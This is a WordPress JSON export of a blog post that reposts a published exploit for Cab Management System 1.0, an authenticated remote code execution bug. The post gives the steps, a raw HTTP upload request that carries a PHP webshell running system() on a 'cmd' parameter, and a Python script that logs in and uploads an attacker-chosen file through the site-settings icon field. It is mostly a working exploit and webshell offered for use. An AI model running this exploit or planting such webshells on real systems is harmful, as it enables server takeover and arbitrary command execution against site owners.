{"id":20948,"date":"2022-02-22T10:38:34","date_gmt":"2022-02-22T07:38:34","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166063\/cabms10-exec.txt"},"modified":"2022-02-22T11:31:15","modified_gmt":"2022-02-22T08:01:15","slug":"cab-management-system-1-0-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/cab-management-system-1-0-remote-code-execution\/","title":{"rendered":"Cab Management System 1.0 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Cab Management System 1.0 &#8211; Remote Code Execution (RCE) (Authenticated)<br \/>\n# Exploit Author: Alperen Ergel<br \/>\n# Contact: @alpernae (IG\/TW)<br \/>\n# Software Homepage: https:\/\/www.sourcecodester.com\/php\/15180\/cab-management-system-phpoop-free-source-code.html<br \/>\n# Version : 1.0<br \/>\n# Tested on: windows 10 xammp | Kali linux<br \/>\n# Category: WebApp<br \/>\n# Google Dork: N\/A<br \/>\n# Date: 18.02.2022<br \/>\n######## Description ########<br \/>\n#<br \/>\n#<br \/>\n# Step 1: Login admin account and go settings of site<br \/>\n# Step 2: Update web site icon and selecet a webshell.php<br \/>\n# Step3 : Upload your webshell that&#8217;s it&#8230;<br \/>\n#<br \/>\n######## Proof of Concept ########<\/p>\n<p dir=\"ltr\">========&gt;&gt;&gt; START REQUEST &lt;&lt;&lt;=========<\/p>\n<p dir=\"ltr\">POST \/cms\/classes\/SystemSettings.php?f=update_settings HTTP\/1.1<br \/>\nHost: localhost<br \/>\nContent-Length: 11338<br \/>\nsec-ch-ua: &#8220;(Not(A:Brand&#8221;;v=&#8221;8&#8243;, &#8220;Chromium&#8221;;v=&#8221;98&#8243;<br \/>\nAccept: *\/*<br \/>\nContent-Type: multipart\/form-data; boundary=&#8212;-WebKitFormBoundaryc5vp1oayEolowCbb<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nsec-ch-ua-mobile: ?0<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/98.0.4758.82 Safari\/537.36<br \/>\nsec-ch-ua-platform: &#8220;Windows&#8221;<br \/>\nOrigin: http:\/\/localhost<br \/>\nSec-Fetch-Site: same-origin<br \/>\nSec-Fetch-Mode: cors<br \/>\nSec-Fetch-Dest: empty<br \/>\nReferer: http:\/\/localhost\/cms\/admin\/?page=system_info<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7<br \/>\nCookie: PHPSESSID=samlsgsrh4iq50eqc1qldpthml<br \/>\nConnection: close<\/p>\n<p dir=\"ltr\">&lt;&#8211; SNIPP HERE &#8211;&gt;<br \/>\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb<br \/>\nContent-Disposition: form-data; name=&#8221;img&#8221;; filename=&#8221;shell.php&#8221;<br \/>\nContent-Type: application\/octet-stream<\/p>\n<p dir=\"ltr\">&lt;?php if(isset($_REQUEST[&#8216;cmd&#8217;])){ echo &#8220;&lt;pre&gt;&#8221;; $cmd = ($_REQUEST[&#8216;cmd&#8217;]); system($cmd); echo &#8220;&lt;\/pre&gt;&#8221;; die; }?&gt;<br \/>\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb<br \/>\nContent-Disposition: form-data; name=&#8221;cover&#8221;; filename=&#8221;&#8221;<br \/>\nContent-Type: application\/octet-stream<br \/>\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb&#8211;<br \/>\n&lt;&#8211; SNIPP HERE &#8211;&gt;<\/p>\n<p dir=\"ltr\">========&gt;&gt;&gt; END REQUEST &lt;&lt;&lt;=========<\/p>\n<p dir=\"ltr\">========&gt;&gt;&gt; EXPLOIT CODE &lt;&lt;&lt;=========<\/p>\n<p dir=\"ltr\">import requests<br \/>\nprint(&#8220;&#8221;&#8221;<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n| |<br \/>\n| Author: Alperen Ergel (@alpernae) |<br \/>\n| |<br \/>\n| CAB Management System v1 Exploit |<br \/>\n| |<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n&#8220;&#8221;&#8221;)<br \/>\nusername = input(&#8220;Username: &#8220;)<br \/>\npassword = input(&#8220;Password: &#8220;)<br \/>\nURL = input(&#8220;Domain: &#8220;)<\/p>\n<p dir=\"ltr\">burp0_url = &#8220;http:\/\/&#8221; + URL + &#8220;\/cms\/classes\/Login.php?f=login&#8221;<br \/>\nburp0_headers = {&#8220;sec-ch-ua&#8221;: &#8220;\\&#8221;(Not(A:Brand\\&#8221;;v=\\&#8221;8\\&#8221;, \\&#8221;Chromium\\&#8221;;v=\\&#8221;98\\&#8221;&#8221;, &#8220;Accept&#8221;: &#8220;*\/*&#8221;, &#8220;Content-Type&#8221;: &#8220;application\/x-www-form-urlencoded; charset=UTF-8&#8221;, &#8220;X-Requested-With&#8221;: &#8220;XMLHttpRequest&#8221;, &#8220;sec-ch-ua-mobile&#8221;: &#8220;?0&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/98.0.4758.82 Safari\/537.36&#8221;, &#8220;sec-ch-ua-platform&#8221;: &#8220;\\&#8221;Windows\\&#8221;&#8221;, &#8220;Origin&#8221;: &#8220;http:\/\/192.168.1.33&#8221;, &#8220;Sec-Fetch-Site&#8221;: &#8220;same-origin&#8221;, &#8220;Sec-Fetch-Mode&#8221;: &#8220;cors&#8221;, &#8220;Sec-Fetch-Dest&#8221;: &#8220;empty&#8221;, &#8220;Referer&#8221;: &#8220;http:\/\/192.168.1.33\/cms\/admin\/login.php&#8221;, &#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;, &#8220;Accept-Language&#8221;: &#8220;tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>\nburp0_data = {&#8220;username&#8221;: username, &#8220;password&#8221;: password}<br \/>\nrequests.post(burp0_url, headers=burp0_headers, data=burp0_data)<\/p>\n<p dir=\"ltr\">FILE = input(&#8220;File: &#8220;)<\/p>\n<p dir=\"ltr\">burp0_url = &#8220;http:\/\/&#8221; + URL + &#8220;\/cms\/classes\/SystemSettings.php?f=update_settings&#8221;<br \/>\nburp0_headers = {&#8220;sec-ch-ua&#8221;: &#8220;\\&#8221;(Not(A:Brand\\&#8221;;v=\\&#8221;8\\&#8221;, \\&#8221;Chromium\\&#8221;;v=\\&#8221;98\\&#8221;&#8221;, &#8220;Accept&#8221;: &#8220;*\/*&#8221;, &#8220;Content-Type&#8221;: &#8220;multipart\/form-data; boundary=&#8212;-WebKitFormBoundaryc5vp1oayEolowCbb&#8221;, &#8220;X-Requested-With&#8221;: &#8220;XMLHttpRequest&#8221;, &#8220;sec-ch-ua-mobile&#8221;: &#8220;?0&#8221;, &#8220;User-Agent&#8221;: &#8220;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/98.0.4758.82 Safari\/537.36&#8221;, &#8220;sec-ch-ua-platform&#8221;: &#8220;\\&#8221;Windows\\&#8221;&#8221;, &#8220;Origin&#8221;: &#8220;http:\/\/localhost&#8221;, &#8220;Sec-Fetch-Site&#8221;: &#8220;same-origin&#8221;, &#8220;Sec-Fetch-Mode&#8221;: &#8220;cors&#8221;, &#8220;Sec-Fetch-Dest&#8221;: &#8220;empty&#8221;, &#8220;Referer&#8221;: &#8220;http:\/\/localhost\/cms\/admin\/?page=system_info&#8221;, &#8220;Accept-Encoding&#8221;: &#8220;gzip, deflate&#8221;, &#8220;Accept-Language&#8221;: &#8220;tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7&#8221;, &#8220;Connection&#8221;: &#8220;close&#8221;}<br \/>\nburp0_data = &#8220;&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb\\r\\nContent-Disposition: form-data; name=\\&#8221;name\\&#8221;\\r\\n\\r\\nCab Management System\\r\\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb\\r\\nContent-Disposition: form-data; name=\\&#8221;short_name\\&#8221;\\r\\n\\r\\nCMS &#8211; PHP\\r\\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb\\r\\nContent-Disposition: form-data; name=\\&#8221;content[welcome]\\&#8221;\\r\\n\\r\\n&lt;ptest&lt;\/p&gt;\\r\\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb\\r\\nContent-Disposition: form-data; name=\\&#8221;files\\&#8221;; filename=\\&#8221;\\&#8221;\\r\\nContent-Type: application\/octet-stream\\r\\n\\r\\n\\r\\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb\\r\\nContent-Disposition: form-data; name=\\&#8221;content[about]\\&#8221;\\r\\n\\r\\n&lt;ptest&lt;\/p&gt;\\r\\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb\\r\\nContent-Disposition: form-data; name=\\&#8221;files\\&#8221;; filename=\\&#8221;\\&#8221;\\r\\nContent-Type: application\/octet-stream\\r\\n\\r\\n\\r\\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb\\r\\nContent-Disposition: form-data; name=\\&#8221;img\\&#8221;; filename=\\&#8221;&#8221; + FILE + &#8220;\\&#8221;\\r\\nContent-Type: application\/octet-stream\\r\\n\\r\\n\\r\\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb\\r\\nContent-Disposition: form-data; name=\\&#8221;cover\\&#8221;; filename=\\&#8221;\\&#8221;\\r\\nContent-Type: application\/octet-stream\\r\\n\\r\\n\\r\\n&#8212;&#8212;WebKitFormBoundaryc5vp1oayEolowCbb&#8211;\\r\\n&#8221;<br \/>\nrequests.post(burp0_url, headers=burp0_headers, data=burp0_data)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Cab Management System 1.0 &#8211; Remote Code Execution (RCE) (Authenticated) # Exploit Author: Alperen Ergel # Contact: @alpernae (IG\/TW) # Software Homepage: https:\/\/www.sourcecodester.com\/php\/15180\/cab-management-system-phpoop-free-source-code.html # Version : 1.0 # Tested on: windows 10 xammp | Kali linux # Category: WebApp # Google Dork: N\/A # Date: 18.02.2022 ######## Description ######## # # # &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-20948","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20948","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=20948"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20948\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=20948"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=20948"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=20948"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}